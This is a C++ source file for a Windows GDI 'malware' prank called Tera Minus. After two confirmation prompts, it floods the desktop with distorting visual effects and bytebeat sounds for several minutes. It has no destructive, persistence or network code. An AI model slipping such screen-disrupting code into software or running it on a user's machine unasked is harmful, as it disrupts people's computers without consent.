MalwareSource / src /FedouM /Tera Minus.cpp
PatoFlamejanteTV's picture
Add files using upload-large-folder tool
48e3321 verified
#include <Windows.h>
//Tera Minus.exe - malware created by rarka
#include <iostream>
#define M_PI 3.14159265358979323846264338327950288
#include <windowsx.h>
#define _USE_MATH_DEFINES 1
#include <cmath>
#include <cstdlib>
#include <math.h>
#pragma comment(lib, "winmm.lib")
#pragma comment(lib,"Msimg32.lib")
#include <tchar.h>
#include <ctime>
#include <time.h>
#include <stdio.h>
static ULONGLONG n, r;
int randy() { return n = r, n ^= 0x8ebf635bee3c6d25, n ^= n << 5 | n >> 26, n *= 0xf3e05ca5c43e376b, r = n, n & 0x7fffffff; }
VOID WINAPI ci(int x, int y, int w, int h)
{
HDC hdc = GetDC(0);
HRGN hrgn = CreateEllipticRgn(x, y, w + x, h + y);
SelectClipRgn(hdc, hrgn);
BitBlt(hdc, x, y, w, h, hdc, x, y, NOTSRCCOPY);
DeleteObject(hrgn);
ReleaseDC(NULL, hdc);
}
#define _USE_MATH_DEFINES 1
typedef union _RGBQUAD {
COLORREF rgb;
struct {
BYTE r;
BYTE g;
BYTE b;
BYTE Reserved;
};
}_RGBQUAD, *PRGBQUAD;
int red, green, blue;
bool ifcolorblue = false, ifblue = false;
COLORREF Hue(int length) {
if (red != length) {
red < length; red++;
if (ifblue == true) {
return RGB(red, 0, length);
}
else {
return RGB(red, 0, 0);
}
}
else {
if (green != length) {
green < length; green++;
return RGB(length, green, 0);
}
else {
if (blue != length) {
blue < length; blue++;
return RGB(0, length, blue);
}
else {
red = 0; green = 0; blue = 0;
ifblue = true;
}
}
}
}
DWORD WINAPI cur(LPVOID lpParam) {
POINT cursor;
while (1) {
HDC hdc = GetDC(HWND_DESKTOP);
int icon_x = GetSystemMetrics(SM_CXICON);
int icon_y = GetSystemMetrics(SM_CYICON);
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x - icon_x, cursor.y - icon_y, LoadIcon(NULL, IDI_ERROR));
ReleaseDC(0, hdc);
//Sleep(10);
}
return(1);
}
DWORD WINAPI balls(LPVOID lpParam) {
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
int signX = 1;
int signY = 1;
int signX1 = 1;
int signY1 = 1;
int incrementor = 10;
int x = 10;
int y = 10;
while (1) {
HDC hdc = GetDC(0);
x += incrementor * signX;
y += incrementor * signY;
int top_x = 0 + x;
int top_y = 0 + y;
int bottom_x = 100 + x;
int bottom_y = 100 + y;
HBRUSH brush = CreateSolidBrush(Hue(239));
SelectObject(hdc, brush);
Ellipse(hdc, top_x, top_y, bottom_x, bottom_y);
if (y >= GetSystemMetrics(SM_CYSCREEN))
{
signY = -1;
}
if (x >= GetSystemMetrics(SM_CXSCREEN))
{
signX = -1;
}
if (y == 0)
{
signY = 1;
}
if (x == 0)
{
signX = 1;
}
Sleep(60);
DeleteObject(brush);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI pacman(LPVOID lpParam) {
while (1) {
HDC hdc = GetDC(0);
int x = GetSystemMetrics(0);
int y = GetSystemMetrics(1);
HBRUSH brush = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
SelectObject(hdc, brush);
Pie(hdc, rand() % x, rand() % y, rand() % x, rand() % y, rand() % x, rand() % y, rand() % x, rand() % y);
DeleteObject(brush);
ReleaseDC(0, hdc);
Sleep(10);
}
}
DWORD WINAPI sustainepic(LPVOID lpParam) {
int w = GetSystemMetrics(0);
int h = GetSystemMetrics(1);
while (1) {
HDC hdc = GetDC(0);
HBRUSH brush = CreateSolidBrush(Hue(239));
SelectObject(hdc, brush);
//BitBlt(hdc, -30, 0, w, h, hdc, -30, 0, SRCCOPY);
BitBlt(hdc, -1, 0, w, h, hdc, 0, 0, SRCCOPY);
BitBlt(hdc, w - 1, 0, w, h, hdc, 0, 0, PATCOPY);
//BitBlt(hdc, 0, 0, w, h, hdc, 0, -30, 0x1900ac010e);
//BitBlt(hdc, 0, 0, w, h, hdc, 0, h - 30, 0x1900ac010e);
DeleteObject(brush);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI beziers(LPVOID lpParam) {
int sw = GetSystemMetrics(0);
int sh = GetSystemMetrics(1);
while (1) {
HDC hdc = GetDC(0);
POINT p[4] = { rand() % sw, rand() % sh, rand() % sw, rand() % sh, rand() % sw, rand() % sh };
HPEN hPen = CreatePen(PS_SOLID, 5, Hue(239));
SelectObject(hdc, hPen);
PolyBezier(hdc, p, 4);
DeleteObject(hPen);
ReleaseDC(0, hdc);
Sleep(4);
}
}
DWORD WINAPI textout1(LPVOID lpParam) {
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
int signX = 1;
int signY = 1;
int signX1 = 1;
int signY1 = 1;
int incrementor = 10;
int x = 10;
int y = 10;
LPCSTR lpText = "Tera Minus.exe";
while (1) {
HDC hdc = GetDC(0);
x += incrementor * signX;
y += incrementor * signY;
int top_x = 0 + x;
int top_y = 0 + y;
SetBkMode(hdc, 0);
SetTextColor(hdc, Hue(239));
//SetBkColor(hdc, RGB(rand() % 255, rand() % 255, rand() % 255));
HFONT font = CreateFontA(43, 32, 0, 0, FW_THIN, 0, 1, 0, ANSI_CHARSET, 0, 0, 0, 0, "Baby Kruffy");
SelectObject(hdc, font);
TextOutA(hdc, top_x, top_y, lpText, strlen(lpText));
if (y >= GetSystemMetrics(SM_CYSCREEN))
{
signY = -1;
}
if (x >= GetSystemMetrics(SM_CXSCREEN))
{
signX = -1;
}
if (y == 0)
{
signY = 1;
}
if (x == 0)
{
signX = 1;
}
Sleep(4);
DeleteObject(font);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI shader1(LPVOID lpParam) {
HDC hdcScreen = GetDC(0), hdcMem = CreateCompatibleDC(hdcScreen);
INT w = GetSystemMetrics(0), h = GetSystemMetrics(1);
BITMAPINFO bmi = { 0 };
PRGBQUAD rgbScreen = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biWidth = w;
bmi.bmiHeader.biHeight = h;
HBITMAP hbmTemp = CreateDIBSection(hdcScreen, &bmi, NULL, (void**)&rgbScreen, NULL, NULL);
SelectObject(hdcMem, hbmTemp);
for (;;) {
hdcScreen = GetDC(0);
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
for (INT i = 0; i < w * h; i++) {
INT x = i % w, y = i / w;
rgbScreen[i].rgb += x * y;
}
BitBlt(hdcScreen, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
ReleaseDC(NULL, hdcScreen); DeleteDC(hdcScreen);
}
}
DWORD WINAPI sines1(LPVOID lpParam) {
HDC hdc = GetDC(0); HWND wnd = GetDesktopWindow();
int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
double angle = 0;
for (;;) {
hdc = GetDC(0);
for (float i = 0; i < sw + sh; i += 0.99f) {
int a = sin(angle) * 20;
BitBlt(hdc, i, 0, 1, sh, hdc, i, a, SRCCOPY);
angle += M_PI / 40;
DeleteObject(&a); DeleteObject(&i);
}
ReleaseDC(wnd, hdc);
DeleteDC(hdc); DeleteObject(wnd); DeleteObject(&sw); DeleteObject(&sh); DeleteObject(&angle);
}
}
DWORD WINAPI wave1(LPVOID lpParam) {
int sw = GetSystemMetrics(SM_CXSCREEN), sh = GetSystemMetrics(SM_CYSCREEN), xSize = sh / 10, ySize = 9;
while (1) {
HDC hdc = GetDC(0);
//for (int i = 0; i < sh*2; i++) {
// int wave = sin(i / ((float)xSize) * M_PI) * (ySize);
// BitBlt(hdc, i, 0, 1, sh, hdc, i, wave, SRCCOPY);
//}
for (int i = 0; i < sw * 2; i++) {
int wave = sin(i / ((float)xSize) * M_PI) * (ySize);
BitBlt(hdc, 0, i, sw, 1, hdc, wave, i, SRCCOPY);
}
if ((rand() % 100 + 1) % 67 == 0) InvalidateRect(0, 0, 0);
ReleaseDC(0, hdc);
}
}
DWORD WINAPI bitblt1(LPVOID lpParam) {
HDC desktop = GetDC(NULL);
int xs = GetSystemMetrics(SM_CXSCREEN);
int ys = GetSystemMetrics(SM_CYSCREEN);
while (true) {
desktop = GetDC(NULL);
BitBlt(desktop, 1, 1, xs, ys, desktop, -2, 2, SRCERASE);
ReleaseDC(0, desktop);
Sleep(10);
}
}
DWORD WINAPI plgblt(LPVOID lpParam)
{
HDC hdc = GetDC(0);
RECT wRect;
POINT wPt[3];
while (1)
{
hdc = GetDC(0);
GetWindowRect(GetDesktopWindow(), &wRect);
wPt[0].x = wRect.left + 6;
wPt[0].y = wRect.top - 6;
wPt[1].x = wRect.right + 6;
wPt[1].y = wRect.top + 6;
wPt[2].x = wRect.left - 6;
wPt[2].y = wRect.bottom + 6;
PlgBlt(hdc, wPt, hdc, wRect.left, wRect.top, wRect.right + wRect.left, wRect.bottom + wRect.top, 0, 0, 0);
ReleaseDC(0, hdc);
}
}
VOID WINAPI sound1() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8100, 8100, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8100 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>((t ^ t + t * (t >> 8 | t >> 1) + t));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound2() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[32000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t >> 5 | (t >> 2) * (t >> 5));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound3() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[32000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(2 * (t >> 5 & t) - (t >> 5) + t * (t >> 14 & 14));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound4() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 11025, 11025, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[11025 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t * (t ^ t + (t >> 15 | 1) / (t - 1280 ^ t) >> 10));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound5() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 60] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>((t*(t >> 8 | t >> 9) & 46 & t >> 8)) ^ (t&t >> 13 | t >> 6);
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound6() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t * (t ^ t + (t >> 15 | 1) ^ (t - 1280 ^ t) >> 10));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound7() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(t * ((t & 4096 ? t % 65536 < 59392 ? 7 : t & 7 : 16) + (1 & t >> 14)) >> (3 & t >> (t & 2048 ? 2 : 10)) | t >> (t & 16384 ? t & 4096 ? 10 : 3 : 2));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound8() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 11025, 11025, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[11025 * 60] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>((t * (t << 1 ^ (t << 1) + (t >> 7) & t >> 12 | t >> 4 - (1 ^ 7 & t >> 19) | t >> 7)));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
VOID WINAPI sound9() {
HWAVEOUT hWaveOut = 0;
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 30] = {};
for (DWORD t = 0; t < sizeof(buffer); ++t)
buffer[t] = static_cast<char>(150 * (t >> 6 | t | t >> (t >> 16)) + (7 & t >> 11));
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
waveOutClose(hWaveOut);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
if (MessageBoxW(NULL, L"Run GDI?", L"Tera Minus.exe by rarka", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
{
ExitProcess(0);
}
else
if (MessageBoxW(NULL, L"Are you sure?", L"Tera Minus.exe by rarka", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
{
ExitProcess(0);
}
HANDLE d10 = CreateThread(0, 0, cur, 0, 0, 0);
HANDLE balls1 = CreateThread(0, 0, balls, 0, 0, 0);
sound1();
Sleep(30000);
Sleep(200);
HANDLE d2 = CreateThread(0, 0, pacman, 0, 0, 0);
sound2();
Sleep(30000);
Sleep(200);
TerminateThread(d2, 0);
CloseHandle(d2);
HANDLE d1 = CreateThread(0, 0, sustainepic, 0, 0, 0);
sound3();
Sleep(30000);
Sleep(200);
TerminateThread(balls1, 0);
CloseHandle(balls1);
TerminateThread(d1, 0);
CloseHandle(d1);
HANDLE d3 = CreateThread(0, 0, textout1, 0, 0, 0);
sound4();
Sleep(30000);
Sleep(200);
TerminateThread(d3, 0);
CloseHandle(d3);
HANDLE f8 = CreateThread(0, 0, balls, 0, 0, 0);
HANDLE d4 = CreateThread(0, 0, shader1, 0, 0, 0);
sound5();
Sleep(60000);
Sleep(200);
TerminateThread(f8, 0);
CloseHandle(f8);
TerminateThread(d4, 0);
CloseHandle(d4);
HANDLE d6 = CreateThread(0, 0, sines1, 0, 0, 0);
sound6();
Sleep(30000);
Sleep(200);
TerminateThread(d6, 0);
CloseHandle(d6);
HANDLE d9 = CreateThread(0, 0, wave1, 0, 0, 0);
sound7();
Sleep(30000);
Sleep(200);
TerminateThread(d9, 0);
CloseHandle(d9);
HANDLE d12 = CreateThread(0, 0, bitblt1, 0, 0, 0);
sound8();
Sleep(60000);
Sleep(200);
TerminateThread(d12, 0);
CloseHandle(d12);
HANDLE d14 = CreateThread(0, 0, plgblt, 0, 0, 0);
sound9();
Sleep(30000);
Sleep(200);
}